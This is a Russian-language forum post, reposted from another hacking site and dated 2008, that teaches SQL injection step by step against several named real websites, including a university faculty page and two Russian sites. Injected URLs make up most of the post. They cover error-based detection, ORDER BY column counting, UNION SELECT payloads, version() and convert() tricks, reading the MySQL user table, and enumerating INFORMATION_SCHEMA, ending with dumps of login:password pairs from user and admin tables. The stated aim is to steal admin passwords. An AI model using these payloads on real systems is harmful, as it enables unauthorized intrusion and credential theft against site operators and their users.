Полный ФАК по sql инъекции, пошагово с примерами статья взята xakepok.org
итак, привет всем, сегодня я хочу научить вас sql инъекции! итак приступим: СКЛ - это база данных, состоит из таблиц,в таблицах есть колонки, в колонках записи. для обнаружении иньекции нам нужно в переменную поставить одинарную кавычку, это самый простой способ обнаружения! для начате переходим по:
http://jcomm.uoregon.edu/facstaff/profile.php?id=1
это сайт с нъекцией, подставляем ''
http://jcomm.uoregon.edu/facstaff/profile.php?id=1''
видим ошибку Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''\\'''' at line 1SELECT * FROM profile WHERE id = 1\\'' нас интересуют пароли админа, будем их добывать. для того что бы извлечь данные из таблицы нам нужно составить запрос. для этого нужно знать кол во столбцов, делается это при помощи функции order by
http://jcomm.uoregon.edu/facstaff/profi … RDER+BY+99
выскакиевает ошибка, это значит что столбцов меньше чем 99
http://jcomm.uoregon.edu/facstaff/profi … ORDER+BY+1
ошибки нету, это значит что столбцов больше или равно 1
http://jcomm.uoregon.edu/facstaff/profi … rder+by+24
ошибка
http://jcomm.uoregon.edu/facstaff/profi … rder+by+23
нету ошибки, значит столбцов 23, теперь мы можем составить запрос. делается это при помощи union select
http://jcomm.uoregon.edu/facstaff/profi … 2,13,14,15 ,16,17,18,19,20,21,22,23/*
если вы заметили мы поставили вместо id=1, id=-1 т.к. тут нам нужно подставить несуществующий id. так вот, перейдя по ссылке мы видим циферки. далее нам нужно узнать версию БД, для этого нужно подставить version()
http://jcomm.uoregon.edu/facstaff/profi … +1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23/*
но мы видим ошибку Query failed: Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ''UNION''SELECT это значит что данные вводяца не в той кодировке, так не всегда, но бывает. для решения проблемы мы должны применить функцию convert нам нужна кодировка latin1 для этого, заместо version() пишем convert(version()+using+latin1) и мы получаем версию: 4.1.13 это чертвёртая версия, лучше пятая, но о ней ниже. теперь пробуем извлечь данные из таблицы mysql.user, для этого в конце запроса ставим +from+mysql.user
http://jcomm.uoregon.edu/facstaff/profi … 2,13,14,15 ,16,17,18,19,20,21,22,23+from+mysql.user/*
убираем version() и ставим опять цифры ошибки нет, значит доступ к mysql.user открыт - это очень редко бывает. теперь нам надо узнать логин из этой базы для этого заместо одной из цифр пишем user, но тут нужно снова пименить convert получаем:
http://jcomm.uoregon.edu/facstaff/profi … +1,convert(user+using+latin1),3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+ from+mysql.user/*
логин root теперь за место user надо подставить password
http://jcomm.uoregon.edu/facstaff/profi … +1,convert(password+using+latin1),3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ,23+from+mysql.user/*
пароля тут нету это по дефолту. итак мы получили логин root, без пароля. теперь рассмотрим пятую версию.
http://expoelectroseti.ru/index.php?id=1''
подбираем кол-во столбцов:
http://expoelectroseti.ru/index.php?id=1+ORDER+BY+8
составляем запрос:
http://expoelectroseti.ru/index.php?id= … ,5,6,7,8/*
циферка 7, других нету, поэтому заместо неё и будем подставлять.
http://expoelectroseti.ru/index.php?id= … ,6,version(),8/*
5.0.24-standard в пятой версии есть такая таблица - INFORMATION_SCHEMA.TABLES
http://expoelectroseti.ru/index.php?id= … RMATION_SC HEMA.TABLES/*
теперь надо поставить заместо 7 table_name - это колонка в таблице INFORMATION_SCHEMA.TABLES
http://expoelectroseti.ru/index.php?id= … from+INFOR MATION_SCHEMA.TABLES/*
таблица INFORMATION_SCHEMA.TABLES - содержит в себе список все таблиц находящихся в БД колонка table_name выводит имя первой таблици в списке, для того чтобы вывести имя следующей таблицы используется LIMIT для этого пишем в конце запроса, после INFORMATION_SCHEMA.TABLES+limit+1,1, это выведет имя второй таблицы. INFORMATION_SCHEMA.TABLES+limit+2,1 - третей INFORMATION_SCHEMA.TABLES+limit+3,1 - четвёртой в это БД список таблиц заканчивается на 20 вроде, и нужные нам таблици не выводятся. теперь рассмотрим следующий сат, туту уже будет интереснее:
http://www.pressa.net/about/service.php … ,5,6,7,8/*
null вместо 2 стоит чтобы ничего не выводилось, можете поставить 2. делаем запрос:
http://www.pressa.net/about/service.php … from+INFOR MATION_SCHEMA.TABLES+limit+0,1/*
с помощью лимита можно узнать следующую таблицу, НО! если мы уберём лимит...ВУАЛЯ! мы видим список все таблиц!тут таблицы выводятся массивом берём нужную нам таблицу, пускай это будет user-третья с низу теперь нам нужно узнать имена колонок в этой таблице, для этого есть фича INFOTMATION_SCHEMA.COLUMNS соответственно заместо table_name ставим column_name
http://www.pressa.net/about/service.php … +from+INFO RMATION_SCHEMA.COLUMNS/*
имён очень много, а нам нужно узнать имена в табличке юзер! для этого в конец запроса ставим +where+table_name=''user''
http://www.pressa.net/about/service.php … +from+INFO RMATION_SCHEMA.COLUMNS+where+table_name=''user''/*
вот имена колонок, нам нужны логин и пассворд =)
http://www.pressa.net/about/service.php … rom+user/*
это логины
http://www.pressa.net/about/service.php … rom+user/*
это пароли но чтобы было удобнее лучше следать так:
http://www.pressa.net/about/service.php … 6,7,concat(login,char(58) ,password)+from+user/*
мы использовали фичу contact а char(58) это ":"(двоеточие) думаю этого хватит, там есть и админы.
http://www.pressa.net/about/service.php … 6,7,concat(login,char(58) ,password)+from+adin_user/*
вот они, их таблица adin_user но их пароли зашифрованы md5
Отредактировано seven (2008-07-23 00:11:24)